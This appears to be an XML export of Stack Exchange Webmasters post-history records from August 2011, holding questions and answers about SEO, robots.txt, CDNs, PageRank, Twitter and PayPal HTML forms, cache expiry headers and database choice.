  <row Id="46013" PostHistoryTypeId="2" PostId="18839" RevisionGUID="9b65cc30-0e37-4e3e-8ffb-92a4d9bb623b" CreationDate="2011-08-27T11:16:41.470" UserDisplayName="Mike Braun" Text="I think you're a bit confused between server side templates and the actual HTML that's generated from them.&#xD;&#xA;&#xD;&#xA;h:ouputlink does *not* appear in the rendered output, so whether or not the crawler understands this is irrelevant.&#xD;&#xA;&#xD;&#xA;Normally, h:ouputlink is rendered as a normal anchor (which crawlers can't distinguish from any anchor link that you manually put on your page).&#xD;&#xA;&#xD;&#xA; So whatever your problem is with SEO, the cause is most likely not the one you think it is.  " />
  <row Id="46015" PostHistoryTypeId="2" PostId="18838" RevisionGUID="5923ba2f-3c40-4c7c-befa-85df03ec872f" CreationDate="2011-08-27T09:29:21.487" UserId="9884" Text="Before I deploy the new version of my site, I would like to know a little more about facelets and SEO.&#xD;&#xA;&#xD;&#xA;My previous version of site was written in JSF and I noticed that when I submitted it to the google crawler, that the crawler did not locate all relevant sections of my site from my index page. &#xD;&#xA;&#xD;&#xA;1)I presume this is because the crawler uses raw hyperlink anchors to navigate around the site and does not understand:&#xD;&#xA;     h:outputlink ? &#xD;&#xA;If this is true, then Facelets is already an improvement as the developer can use raw anchors with the jsfc attribute.&#xD;&#xA;&#xD;&#xA;2)What about Meta tags? Is there a way to get internationalization into a sites meta tags? I can only think that one has to write a tag for each language or not?&#xD;&#xA;&#xD;&#xA;I am referring to the following two tags (as an example):&#xD;&#xA;&#xD;&#xA;    &lt;meta name=&quot;description&quot; content=&quot;thejarbar.org tutorial to set PATH variable&quot; /&gt;&#xD;&#xA;    &lt;meta name=&quot;keywords&quot; content=&quot;thejarbar.org, tutorial, guide, instructions, example, howto, Java, PATH,&#xD;&#xA;            setup, variable&quot; /&gt;&#xD;&#xA;&#xD;&#xA;3)Question 2 extends to the tooltip attributes and alt attributes for images. How do you optimize these for crawlers and internationalization? " />
  <row Id="46016" PostHistoryTypeId="1" PostId="18838" RevisionGUID="5923ba2f-3c40-4c7c-befa-85df03ec872f" CreationDate="2011-08-27T09:29:21.487" UserId="9884" Text="Facelets SEO advice" />
  <row Id="46017" PostHistoryTypeId="3" PostId="18838" RevisionGUID="5923ba2f-3c40-4c7c-befa-85df03ec872f" CreationDate="2011-08-27T09:29:21.487" UserId="9884" Text="&lt;internationalization&gt;&lt;seo&gt;&lt;google-crawlers&gt;" />
  <row Id="46020" PostHistoryTypeId="25" PostId="18743" RevisionGUID="f817ad96-3eb0-49ad-8900-fb1999738459" CreationDate="2011-08-27T15:35:21.487" Comment="http://twitter.com/#!/StackWebmasters/status/107476300108804098" />
  <row Id="46021" PostHistoryTypeId="2" PostId="18841" RevisionGUID="4f84c845-2391-427a-a339-7bf83b764208" CreationDate="2011-08-27T15:39:52.287" UserId="8687" Text="You shouldn't switch to a CDN too early. Read the update on [hacked.com's experience][1] with a CDN. If you don't have millions of visitors per day and your visitors are not distributed across a wide geography, then a CDN might slow your site down.&#xD;&#xA;&#xD;&#xA;Instead, it would be wise to plan for using a CDN at some time in the future when designing your site, but not implementing it until needed.&#xD;&#xA;&#xD;&#xA;When will the CND be needed: When two factors collide. Firstly that you tests show that the majority of users will see a speed improvement and secondly when it is financially viable for your site.&#xD;&#xA;&#xD;&#xA;What to put on the CDN? Everything that doesn't change and is static. That means your database and server side code stays on your original site but all the other stuff like css, javascripts, images, videos and so on, go on the CDN. The CDN should also cache copies of your dynamic pages though how aggressive that cache should be depends on your site. Many CDN systems will automatically grab what contents they need without you doing to much. For example Google's new pagespeed CDN just needs you to point a cname in your dns and google will automatically pull the content as it needs it.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://haacked.com/archive/2007/08/13/speed-up-your-pages-and-improve-your-yslow-score-with.aspx" />
  <row Id="46022" PostHistoryTypeId="16" PostId="18831" RevisionGUID="ee9bbdc0-ad12-4f62-be1c-4d2d98a2241b" CreationDate="2011-08-27T16:02:16.727" UserId="1253" />
  <row Id="46023" PostHistoryTypeId="6" PostId="18831" RevisionGUID="ee9bbdc0-ad12-4f62-be1c-4d2d98a2241b" CreationDate="2011-08-27T16:02:16.727" UserId="1253" Comment="edited tags" Text="&lt;seo&gt;&lt;software&gt;" />
  <row Id="46024" PostHistoryTypeId="16" PostId="18836" RevisionGUID="487d1cf5-9343-43aa-8d28-09895b5b5076" CreationDate="2011-08-27T16:02:26.040" UserId="1253" />
  <row Id="46025" PostHistoryTypeId="2" PostId="18842" RevisionGUID="d79981e1-5bd0-41cc-a302-5f441d1071a1" CreationDate="2011-08-27T16:10:32.707" UserId="9890" Text="How was the form field on http://www.thankyoustevejobsfor.com/ created? You can automatically tweet the message that you typed into the field. " />
  <row Id="46026" PostHistoryTypeId="1" PostId="18842" RevisionGUID="d79981e1-5bd0-41cc-a302-5f441d1071a1" CreationDate="2011-08-27T16:10:32.707" UserId="9890" Text="Twitter form field like on thankyoustevejobsfor.com" />
  <row Id="46027" PostHistoryTypeId="3" PostId="18842" RevisionGUID="d79981e1-5bd0-41cc-a302-5f441d1071a1" CreationDate="2011-08-27T16:10:32.707" UserId="9890" Text="&lt;twitter&gt;" />
  <row Id="46028" PostHistoryTypeId="2" PostId="18843" RevisionGUID="5c11fe5a-4479-406b-846e-675a353cb474" CreationDate="2011-08-27T16:16:59.230" UserId="9891" Text="I am looking to start on online magazine and I don't have a special name for it yet, and I am intending to monetise it through adds. I found a good domain that has a Page Rank of 6 for 600$. is it worth spending this amount of money for it ?" />
  <row Id="46029" PostHistoryTypeId="1" PostId="18843" RevisionGUID="5c11fe5a-4479-406b-846e-675a353cb474" CreationDate="2011-08-27T16:16:59.230" UserId="9891" Text="PR6 domain name is it worth paying for it?" />
  <row Id="46030" PostHistoryTypeId="3" PostId="18843" RevisionGUID="5c11fe5a-4479-406b-846e-675a353cb474" CreationDate="2011-08-27T16:16:59.230" UserId="9891" Text="&lt;seo&gt;&lt;domains&gt;&lt;websites&gt;&lt;domain-names&gt;&lt;startup&gt;" />
  <row Id="46031" PostHistoryTypeId="5" PostId="18843" RevisionGUID="278102e0-e905-467d-98cd-f218b06769b6" CreationDate="2011-08-27T16:56:34.157" UserId="9891" Comment="added 49 characters in body" Text="I am looking to start on online magazine and I don't have a special name for it yet, and I am intending to monetise it through adds. I found a good domain that has a Page Rank of 6 for 600$. is it worth spending this amount of money for it ?&#xD;&#xA;I mean does it adds some value to the website ?" />
  <row Id="46032" PostHistoryTypeId="2" PostId="18844" RevisionGUID="99f95dd8-d3de-4ce9-a8ff-f3fb218a6682" CreationDate="2011-08-27T17:24:33.540" UserId="1253" Text="There is no such thing as a PR6 domain. Domains don't get PageRank. Pages get PageRank. That PageRank of 6 only would apply to the home page of any website using that domain.&#xD;&#xA;&#xD;&#xA;It's *not* worth it because PageRank carries very little weight in Google's ranking algorithm and no weight in Yahoo and Bing. Plus it's very likely that the change in domain ownership results in a dampening (decrease) in the value of the links pointing to that domain especially if Google sees a big change in the content. (Google became a registrar specifically to incorporate domain registration information into their ranking algorithm.)" />
  <row Id="46033" PostHistoryTypeId="5" PostId="18843" RevisionGUID="b688b941-904a-4a11-8f48-317772b34f70" CreationDate="2011-08-27T17:25:34.193" UserId="1253" Comment="deleted 1 characters in body; edited tags; deleted 1 characters in body; edited title" Text="I am looking to start on online magazine and I don't have a special name for it yet, and I am intending to monetise it through adds. I found a good domain that has a PageRank of 6 for 600$. is it worth spending this amount of money for it ? I mean does it adds some value to the website ?" />
  <row Id="46034" PostHistoryTypeId="6" PostId="18843" RevisionGUID="b688b941-904a-4a11-8f48-317772b34f70" CreationDate="2011-08-27T17:25:34.193" UserId="1253" Comment="deleted 1 characters in body; edited tags; deleted 1 characters in body; edited title" Text="&lt;seo&gt;&lt;domain-names&gt;&lt;pagerank&gt;" />
  <row Id="46035" PostHistoryTypeId="4" PostId="18843" RevisionGUID="b688b941-904a-4a11-8f48-317772b34f70" CreationDate="2011-08-27T17:25:34.193" UserId="1253" Comment="deleted 1 characters in body; edited tags; deleted 1 characters in body; edited title" Text="Is it worth paying for a domain with a PageRank of 6?" />
  <row Id="46036" PostHistoryTypeId="10" PostId="18842" RevisionGUID="bf91d71a-4847-4187-9e7f-cbae88591176" CreationDate="2011-08-27T17:31:44.277" UserId="1253" CloseReasonId="4" Text="[{&quot;Id&quot;:1253,&quot;DisplayName&quot;:&quot;John Conde&quot;}]" />
  <row Id="46037" PostHistoryTypeId="25" PostId="18758" RevisionGUID="7e6295b8-97bc-438d-82ff-e374ac5309de" CreationDate="2011-08-27T18:35:21.973" Comment="http://twitter.com/#!/StackWebmasters/status/107521599787380736" />
  <row Id="46038" PostHistoryTypeId="2" PostId="18845" RevisionGUID="9b34fa7a-81c0-463a-a02a-dfead1c82e61" CreationDate="2011-08-27T20:12:58.683" UserId="9890" Text="I'm trying to figure out how to create an HTML form that would allow a user to log in and tweet their message directly to Twitter. What resources should I look at to get started?" />
  <row Id="46039" PostHistoryTypeId="1" PostId="18845" RevisionGUID="9b34fa7a-81c0-463a-a02a-dfead1c82e61" CreationDate="2011-08-27T20:12:58.683" UserId="9890" Text="Creating a form that posts to Twitter - how to get started?" />
  <row Id="46040" PostHistoryTypeId="3" PostId="18845" RevisionGUID="9b34fa7a-81c0-463a-a02a-dfead1c82e61" CreationDate="2011-08-27T20:12:58.683" UserId="9890" Text="&lt;authentication&gt;&lt;twitter&gt;" />
  <row Id="46041" PostHistoryTypeId="2" PostId="18846" RevisionGUID="e9c43705-f360-4076-a8f8-447ac606e1a8" CreationDate="2011-08-27T21:22:50.787" UserId="9567" Text="I am going to optimize a site which has two subdomains since a long time ago. They are pointing to the site's main domain and are well-indexed by Google. I've read in a SEO book however that having several urls pointing to the same content is a bad practice bcauses waisting 'link juice'. &#xD;&#xA;&#xD;&#xA;Now I am wondering whether removing the subdomains is a good idea SEO-wise? regarding that it causes many references from Google lead potential visitors to nowhere. It is specially helpful to know  how long does it take for Google to flush references to the subdomains. I appreciate your hints about this. " />
  <row Id="46042" PostHistoryTypeId="1" PostId="18846" RevisionGUID="e9c43705-f360-4076-a8f8-447ac606e1a8" CreationDate="2011-08-27T21:22:50.787" UserId="9567" Text=".Should I remove my subdomains?" />
  <row Id="46043" PostHistoryTypeId="3" PostId="18846" RevisionGUID="e9c43705-f360-4076-a8f8-447ac606e1a8" CreationDate="2011-08-27T21:22:50.787" UserId="9567" Text="&lt;seo&gt;&lt;google&gt;&lt;subdomain&gt;" />
  <row Id="46044" PostHistoryTypeId="17" PostId="18847" RevisionGUID="0f7a7b74-a2c7-46b1-94a5-2076840b1492" CreationDate="2011-08-27T21:23:54.103" UserId="-1" Comment="from http://stackoverflow.com/questions/7217355/problem-with-my-robots-txt" Text="" />
  <row Id="46045" PostHistoryTypeId="17" PostId="18848" RevisionGUID="1c3343ed-e09b-4c0f-be70-cd5f93a2c41c" CreationDate="2011-08-27T21:23:54.103" UserId="-1" Comment="from http://stackoverflow.com/questions/7217355/problem-with-my-robots-txt" Text="" />
  <row Id="46046" PostHistoryTypeId="17" PostId="18849" RevisionGUID="d2fcf712-cc8b-41ed-97d3-0c860999cb05" CreationDate="2011-08-27T21:23:54.103" UserId="-1" Comment="from http://stackoverflow.com/questions/7217355/problem-with-my-robots-txt" Text="" />
  <row Id="46047" PostHistoryTypeId="2" PostId="18848" RevisionGUID="62ca4cf6-9875-4060-82e9-264d224793c3" CreationDate="2011-08-27T21:10:05.230" UserId="1780" Text="Maybe try it the other way round, put the `disallow` before the `allow`. It should work - if [the Wikipedia article on robots.txt][1] is correct:&#xD;&#xA;&#xD;&#xA;&gt; While by standard implementation the first matching robots.txt pattern always wins, Google's implementation differs in that Allow patterns with equal or more characters in the directive path win over a matching Disallow pattern.[8] Bing uses the Allow or Disallow directive which is the most specific.[9]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://en.wikipedia.org/wiki/Robots.txt" />
  <row Id="46048" PostHistoryTypeId="2" PostId="18849" RevisionGUID="433b0b4f-1e30-484b-ae63-01dc2a173f5f" CreationDate="2011-08-27T21:19:02.670" UserId="9893" UserDisplayName="arnaud576875" Text="As suggested by Pekka you may want to try to place the Allow directives after the Disallow directives.&#xD;&#xA;&#xD;&#xA;But given the differences in interpretations between Google, Bing and others, you may want to use a robots meta tag instead. This will be safer and more granular.&#xD;&#xA;&#xD;&#xA;In your disallowed pages:&#xD;&#xA;&#xD;&#xA;    &lt;meta name=&quot;robots&quot; content=&quot;noindex&quot; /&gt;&#xD;&#xA;&#xD;&#xA;In your allowed pages:&#xD;&#xA;&#xD;&#xA;    &lt;meta name=&quot;robots&quot; content=&quot;index&quot; /&gt;&#xD;&#xA;&#xD;&#xA;(to be placed in your `&lt;head&gt;` tag)&#xD;&#xA;&#xD;&#xA;See http://googlewebmastercentral.blogspot.com/2007/03/using-robots-meta-tag.html" />
  <row Id="46049" PostHistoryTypeId="2" PostId="18847" RevisionGUID="f2fd4025-b55c-4139-82e7-cd960eb4673f" CreationDate="2011-08-27T21:06:30.180" UserId="8880" Text="I want to allow a certain html file and my site's index file to be indexed by search engines. Everything else should be disallowed. My home directory does not actually contain an index file, I am using .htaccess to redirect to /cgi-bin/index.cgi. I am currently using this:&#xD;&#xA;&#xD;&#xA;    User-agent: * &#xD;&#xA;    Allow: /cgi-bin/index.cgi&#xD;&#xA;    Allow: /contact.html  &#xD;&#xA;    Disallow: / &#xD;&#xA;&#xD;&#xA;However, google webmaster tools is saying:&#xD;&#xA;&#xD;&#xA;&gt; Googlebot is blocked from http://mydomain.com/&#xD;&#xA;&#xD;&#xA;Is there a way of allowing indexing of the root while blocking all other files i.e., mydomain.com/*&#xD;&#xA;" />
  <row Id="46050" PostHistoryTypeId="1" PostId="18847" RevisionGUID="f2fd4025-b55c-4139-82e7-cd960eb4673f" CreationDate="2011-08-27T21:06:30.180" UserId="8880" Text="Problem with my robots.txt" />
  <row Id="46051" PostHistoryTypeId="3" PostId="18847" RevisionGUID="f2fd4025-b55c-4139-82e7-cd960eb4673f" CreationDate="2011-08-27T21:06:30.180" UserId="8880" Text="&lt;robots.txt&gt;" />
  <row Id="46052" PostHistoryTypeId="5" PostId="18848" RevisionGUID="de884ae2-a9a0-4b78-bff0-458596969388" CreationDate="2011-08-27T21:25:19.767" UserId="1780" Comment="added 5 characters in body" Text="Maybe try it the other way round, put the `disallow` before the `allow`. &#xD;&#xA;&#xD;&#xA;If [the Wikipedia article on robots.txt][1] is correct, it *should* work:&#xD;&#xA;&#xD;&#xA;&gt; While by standard implementation the first matching robots.txt pattern always wins, Google's implementation differs in that Allow patterns with equal or more characters in the directive path win over a matching Disallow pattern.[8] Bing uses the Allow or Disallow directive which is the most specific.[9]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://en.wikipedia.org/wiki/Robots.txt" />
  <row Id="46053" PostHistoryTypeId="2" PostId="18850" RevisionGUID="36c09a6f-16fd-4457-8d97-60a685553c66" CreationDate="2011-08-27T21:28:08.047" UserId="8147" Text="    &lt;form target=&quot;_blank&quot; name=&quot;tweet&quot; action=&quot;https://twitter.com/share&quot; method=&quot;get&quot;&gt; &#xD;&#xA;      &lt;input type=&quot;hidden&quot; name=&quot;original_referer&quot; value=&quot;http://www.yoururl.com&quot;&gt; &#xD;&#xA;      &lt;input type=&quot;hidden&quot; name=&quot;source&quot; value=&quot;tweetbutton&quot;&gt; &#xD;&#xA;      &lt;input type=&quot;hidden&quot; name=&quot;url&quot; value=&quot;http://www.yoururl.com&quot;&gt; &#xD;&#xA;      &lt;input style=&quot;width:430px; height:34px; font-size:18px&quot; type=&quot;text&quot; name=&quot;text&quot; maxlength=&quot;98&quot;&gt;&#xD;&#xA; &#xD;&#xA;      &lt;input type=&quot;submit&quot; value=&quot;Tweet This&quot; /&gt;    &#xD;&#xA;    &lt;/form&gt;" />
  <row Id="46054" PostHistoryTypeId="2" PostId="18851" RevisionGUID="0f38464d-7013-4aca-86f0-ae2bf8b1eae0" CreationDate="2011-08-27T21:30:00.040" UserId="8147" Text="I'd say to keep 301 redirect to your main domain. Google will still index it and you'll have no problems with users getting wrong/blank pages" />
  <row Id="46055" PostHistoryTypeId="25" PostId="18847" RevisionGUID="6d419dcf-cad1-4934-a751-099b7b89c65c" CreationDate="2011-08-27T21:35:24.427" Comment="http://twitter.com/#!/StackWebmasters/status/107566907296722945" />
  <row Id="46056" PostHistoryTypeId="4" PostId="18846" RevisionGUID="a38f0daa-227b-406d-b7f1-51b3ec9d7adf" CreationDate="2011-08-27T22:18:47.587" UserId="9567" Comment="edited title" Text="Should I remove subdomains?" />
  <row Id="46057" PostHistoryTypeId="2" PostId="18852" RevisionGUID="53eb9dae-7aa5-4f31-b128-f65e6a3f7286" CreationDate="2011-08-27T22:38:11.983" UserId="9355" Text="http://www.marketsamurai.com/full-version.php&#xD;&#xA;&#xD;&#xA;I was wondering if this is a good/cheap SEO tool to buy or if there is something better/cheaper out there. Usually outsource my SEO and it seems to be getting more and more expensive to I would love to start doing SEO in house but I need the right software to help. Suggestions would be great!" />
  <row Id="46058" PostHistoryTypeId="1" PostId="18852" RevisionGUID="53eb9dae-7aa5-4f31-b128-f65e6a3f7286" CreationDate="2011-08-27T22:38:11.983" UserId="9355" Text="Is This SEO Tool Worth Buying?" />
  <row Id="46059" PostHistoryTypeId="3" PostId="18852" RevisionGUID="53eb9dae-7aa5-4f31-b128-f65e6a3f7286" CreationDate="2011-08-27T22:38:11.983" UserId="9355" Text="&lt;seo&gt;&lt;search-engines&gt;&lt;websites&gt;&lt;marketing&gt;&lt;administration&gt;" />
  <row Id="46060" PostHistoryTypeId="25" PostId="18843" RevisionGUID="59fc23ff-1918-42b7-9137-5624ff3fc93f" CreationDate="2011-08-28T00:35:25.207" Comment="http://twitter.com/#!/StackWebmasters/status/107612211182182401" />
  <row Id="46061" PostHistoryTypeId="2" PostId="18853" RevisionGUID="f9c8aca6-3cae-401c-b3ba-ae6a7f68f650" CreationDate="2011-08-28T01:45:43.477" UserId="9218" Text="how do I set expiry date for an image? is this a server side operation? or can it be done as an html tag attribute?&#xD;&#xA;what if I only want to set different expiry dates for different images/resources?&#xD;&#xA;" />
  <row Id="46062" PostHistoryTypeId="1" PostId="18853" RevisionGUID="f9c8aca6-3cae-401c-b3ba-ae6a7f68f650" CreationDate="2011-08-28T01:45:43.477" UserId="9218" Text="set expiry date for image or resource" />
  <row Id="46063" PostHistoryTypeId="3" PostId="18853" RevisionGUID="f9c8aca6-3cae-401c-b3ba-ae6a7f68f650" CreationDate="2011-08-28T01:45:43.477" UserId="9218" Text="&lt;performance&gt;&lt;image&gt;&lt;cache&gt;" />
  <row Id="46064" PostHistoryTypeId="2" PostId="18854" RevisionGUID="cdc11275-b849-4454-8853-666bd78b9b03" CreationDate="2011-08-28T02:56:23.990" UserId="4780" Text="You're asking about the [`Expires` header](http://en.wikipedia.org/wiki/Expire_header#Expires), which is sent by the server along with the HTTP response.  &#xD;&#xA;It is controlled by the server; for more details, consult your server's documentation." />
  <row Id="46065" PostHistoryTypeId="25" PostId="18853" RevisionGUID="49e11d5b-f240-4df1-9be3-2fcf7244386f" CreationDate="2011-08-28T03:35:25.657" Comment="http://twitter.com/#!/StackWebmasters/status/107657512123248640" />
  <row Id="46066" PostHistoryTypeId="10" PostId="18852" RevisionGUID="1e2109ff-d31e-48ae-a16b-a31757958f9d" CreationDate="2011-08-28T03:56:14.997" UserId="1253" CloseReasonId="3" Text="[{&quot;Id&quot;:1253,&quot;DisplayName&quot;:&quot;John Conde&quot;}]" />
  <row Id="46067" PostHistoryTypeId="2" PostId="18855" RevisionGUID="4a1ee1cb-f4e5-48ef-a1fa-3c3508b830d7" CreationDate="2011-08-28T04:56:34.340" UserId="6467" Text="Google is free and not always accurate. They are not accountable for analytics. I would use a premium service like clicky. Its only 60.00 a year. 30 day free trail. http://getclicky.com/69398" />
  <row Id="46068" PostHistoryTypeId="2" PostId="18856" RevisionGUID="ab69866f-58de-407f-b8dc-c04d8d3fefe6" CreationDate="2011-08-28T05:58:18.293" UserId="9894" Text="Who database engine is better, in performance and usability?" />
  <row Id="46069" PostHistoryTypeId="1" PostId="18856" RevisionGUID="ab69866f-58de-407f-b8dc-c04d8d3fefe6" CreationDate="2011-08-28T05:58:18.293" UserId="9894" Text="MySQL, SQLServer, Oracle, Postgree, CouchDB, MongoDB, Cassandra or SQLite?" />
  <row Id="46070" PostHistoryTypeId="3" PostId="18856" RevisionGUID="ab69866f-58de-407f-b8dc-c04d8d3fefe6" CreationDate="2011-08-28T05:58:18.293" UserId="9894" Text="&lt;mysql&gt;&lt;database&gt;&lt;sql-server&gt;&lt;sql&gt;" />
  <row Id="46071" PostHistoryTypeId="25" PostId="18695" RevisionGUID="abd54968-7845-4261-b298-8315f1f41224" CreationDate="2011-08-28T06:35:25.923" Comment="http://twitter.com/#!/StackWebmasters/status/107702812514844672" />
  <row Id="46072" PostHistoryTypeId="5" PostId="18853" RevisionGUID="b46dc336-e655-433c-bfb8-57e2b51c4c83" CreationDate="2011-08-28T07:03:38.207" UserId="8354" Comment="added 4 characters in body; edited title" Text="How do I set expiry date for an image?&#xD;&#xA;&#xD;&#xA;Is this a server side operation or can it be done as an html tag attribute?&#xD;&#xA;&#xD;&#xA;What if I only want to set different expiry dates for different images/resources?&#xD;&#xA;" />
  <row Id="46073" PostHistoryTypeId="4" PostId="18853" RevisionGUID="b46dc336-e655-433c-bfb8-57e2b51c4c83" CreationDate="2011-08-28T07:03:38.207" UserId="8354" Comment="added 4 characters in body; edited title" Text="Set expiry date for image or resource" />
  <row Id="46074" PostHistoryTypeId="25" PostId="18756" RevisionGUID="a1d6fdd9-7d6e-435c-81af-6ebbaec76715" CreationDate="2011-08-28T09:35:26.493" Comment="http://twitter.com/#!/StackWebmasters/status/107748112579309569" />
  <row Id="46075" PostHistoryTypeId="2" PostId="18857" RevisionGUID="d7a5ada2-fde4-4705-9fed-b127ecafd2a9" CreationDate="2011-08-28T09:44:31.803" UserId="9882" Text="I would like to know is there any compare goods system written in PHP? for example an interface that get specification of product (a WYSIWIG editor maybe with description and keyword,...) and a voting system that allows user vote on .&#xD;&#xA;Script should have sorting and is category based...&#xD;&#xA;&#xD;&#xA;Any idea?&#xD;&#xA;Regards,&#xD;&#xA;Ramin.&#xD;&#xA;" />
  <row Id="46076" PostHistoryTypeId="1" PostId="18857" RevisionGUID="d7a5ada2-fde4-4705-9fed-b127ecafd2a9" CreationDate="2011-08-28T09:44:31.803" UserId="9882" Text="Im looking for a compare goods script" />
  <row Id="46077" PostHistoryTypeId="3" PostId="18857" RevisionGUID="d7a5ada2-fde4-4705-9fed-b127ecafd2a9" CreationDate="2011-08-28T09:44:31.803" UserId="9882" Text="&lt;looking-for-a-script&gt;" />
  <row Id="46078" PostHistoryTypeId="2" PostId="18858" RevisionGUID="c98c3d9e-2bc3-47a2-b80e-015de4c59e34" CreationDate="2011-08-28T09:50:40.870" UserId="9868" Text="In case of webmasters choosing shared hosting, the database available to you from hosting service is dependent on their choice. Most likely MySQL and PostgreSQL are common database that you can find in shared hosting services. When you move to VPS and Dedicated server hosts, they offer you database of your choice for both managed and unmanaged hosting. They offer pre-installed database servers based on their abaility to resolve technical issues. So some may prefer mysql over any other database or postgresql over any other. It is purely personal choice for hosts and unless you go with the route of your own VPS and Dedicated server, there is not much of choice for you to choose database. &#xD;&#xA;&#xD;&#xA;In case of programmers choosing the database, it purely depends on his ability to work with respective db tools and error solving capability. MySQL and PostgreSQL database have much better support and you can easily find solutions to the issues by just googling the problems. Many other databases which are not used extensively in server environment have less documentation, blog posts available and you're likely to hit walls during problem solving. Again, this all depends how efficient programmer is while handling database. &#xD;&#xA;&#xD;&#xA;If you're not a programmer or webmaster and just thinking about database during installation of web app like wordpress or joomla then consider using the one available in your cpanel of your hosting. Issues of performance and stability of database will be taken care of by your hosts.You don't have to think much about it. &#xD;&#xA;&#xD;&#xA;**My rough observation** : MySQL and PostgreSQL - these are the ones often preferred by linux based hosting services. SQL Server (MS) is dominant on windows hosting. SQLite is rarely used for webapps and usually selected by those who know how to get it working over webserver. Oracle is heavily used for enterprise apps. MongoDB is used by ruby on rails programmers for their rails applications. Cassandra and CouchDB rarely noticed with web apps or if any programmer using it. &#xD;&#xA;&#xD;&#xA;" />
  <row Id="46079" PostHistoryTypeId="2" PostId="18859" RevisionGUID="d76e66e4-b403-400b-87e3-15554d1b9fe2" CreationDate="2011-08-28T11:15:02.230" UserId="8082" Text="Simply set the name of a select to 'amount', and the value of that select will be posted to PayPal.&#xD;&#xA;Leave it empty (as can be seen with 'Other' in the example below) and PayPal will ask the buyer to enter an amount instead.&#xD;&#xA;&#xD;&#xA;    &lt;form method=&quot;POST&quot; action=&quot;...................&quot;&gt;&#xD;&#xA;    &lt;!- Generic PayPal form stuff here --&gt;&#xD;&#xA;    &lt;select name=&quot;amount&quot;&gt;&#xD;&#xA;    &lt;option value=&quot;1&quot;&gt;$1&lt;/option&gt;&#xD;&#xA;    &lt;option value=&quot;2&quot;&gt;$2&lt;/option&gt;&#xD;&#xA;    &lt;option value=&quot;3&quot;&gt;$3&lt;/option&gt;&#xD;&#xA;    &lt;option value=&quot;&quot;&gt;Other&lt;/option&gt;&#xD;&#xA;    &lt;/select&gt;&#xD;&#xA;    &lt;!- Generic PayPal form stuff here --&gt;&#xD;&#xA;    &lt;!-- Don't forget to set the currency. E.g. USD, EUR, etc.. --&gt;&#xD;&#xA;    &lt;input type=&quot;hidden&quot; name=&quot;currency_code&quot; value=&quot;EUR&quot;&gt;" />
  <row Id="46080" PostHistoryTypeId="17" PostId="18860" RevisionGUID="5cfe8ea7-47cc-40a0-b377-e78ab09b94c6" CreationDate="2011-08-28T12:07:12.360" UserId="-1" Comment="from http://stackoverflow.com/questions/7219192/howto-enhance-google-talk" Text="" />
  <row Id="46081" PostHistoryTypeId="2" PostId="18860" RevisionGUID="811ee78d-325f-42f8-837b-12477269a881" CreationDate="2011-08-28T05:22:15.750" UserId="9882" Text="Im using Google Talk on my site to chat online with users , is there any method to customize it such as showing a message form when we are unavailable or adding more that one user on it or any other facility?&#xD;&#xA;&#xD;&#xA;Regards,&#xD;&#xA;Ramin.&#xD;&#xA;" />
  <row Id="46082" PostHistoryTypeId="1" PostId="18860" RevisionGUID="811ee78d-325f-42f8-837b-12477269a881" CreationDate="2011-08-28T05:22:15.750" UserId="9882" Text="Howto enhance Google talk" />
  <row Id="46083" PostHistoryTypeId="3" PostId="18860" RevisionGUID="811ee78d-325f-42f8-837b-12477269a881" CreationDate="2011-08-28T05:22:15.750" UserId="9882" Text="&lt;php&gt;&lt;google&gt;" />
  <row Id="46084" PostHistoryTypeId="25" PostId="18732" RevisionGUID="ab55822a-3fc6-4847-a481-f7555b05ec4d" CreationDate="2011-08-28T12:35:26.590" Comment="http://twitter.com/#!/StackWebmasters/status/107793411230269440" />
  <row Id="46085" PostHistoryTypeId="2" PostId="18861" RevisionGUID="47663308-0032-4e44-a1d1-f01254080e67" CreationDate="2011-08-28T14:05:20.157" UserId="5684" Text="I have the information in Google and have 20 +1s this month and 65 overall." />
  <row Id="46086" PostHistoryTypeId="2" PostId="18862" RevisionGUID="f8f7ac6a-f545-4106-86e0-4c94b37abb17" CreationDate="2011-08-28T15:17:12.547" UserId="576" Text="Besides Google Webmaster Tools, you could check [Bing Webmaster Tools][1] to know which of your pages Bing has indexed or &quot;is visited by&quot; Bing. [Now that Bing Webmaster Tools has fully integrated in Yahoo’s traffic numbers as well][2], with both these tools you have all the 3 major search engines covered. &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.bing.com/toolbox/webmaster/&#xD;&#xA;  [2]: http://searchengineland.com/bing-webmaster-tools-integrates-yahoo-traffic-data-90585" />
  <row Id="46087" PostHistoryTypeId="2" PostId="18863" RevisionGUID="50f94fae-46e3-4c14-892f-9115dc26d5af" CreationDate="2011-08-28T15:35:20.397" UserId="576" Text="Use [PPK's compatibility tables][1] to know which CSS properties work the same across all the browsers. &#xD;&#xA;&#xD;&#xA;CSS3 is not yet a W3C standard, but all the major browsers are already supporting many of the new features. Check [this reference table by W3Schools][2] to know about the new CSS3 properties and their browser support.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.quirksmode.org/compatibility.html&#xD;&#xA;  [2]: http://w3schools.com/cssref/css3_browsersupport.asp" />
  <row Id="46088" PostHistoryTypeId="25" PostId="18707" RevisionGUID="7a72b7b9-5140-4593-ad6b-6ab2b97feb0c" CreationDate="2011-08-28T15:35:26.997" Comment="http://twitter.com/#!/StackWebmasters/status/107838710502002688" />
  <row Id="46090" PostHistoryTypeId="17" PostId="18865" RevisionGUID="863db84f-d510-4167-93a2-98cc10247080" CreationDate="2011-08-28T16:06:37.850" UserId="-1" Comment="from http://stackoverflow.com/questions/6226016/rule-caching-in-htaccess-how-to-force-apache-to-re-read-a-modified-htaccess" Text="" />
  <row Id="46091" PostHistoryTypeId="17" PostId="18866" RevisionGUID="723d5da2-8c46-48a5-8d19-7e98f68ff36a" CreationDate="2011-08-28T16:06:37.850" UserId="-1" Comment="from http://stackoverflow.com/questions/6226016/rule-caching-in-htaccess-how-to-force-apache-to-re-read-a-modified-htaccess" Text="" />
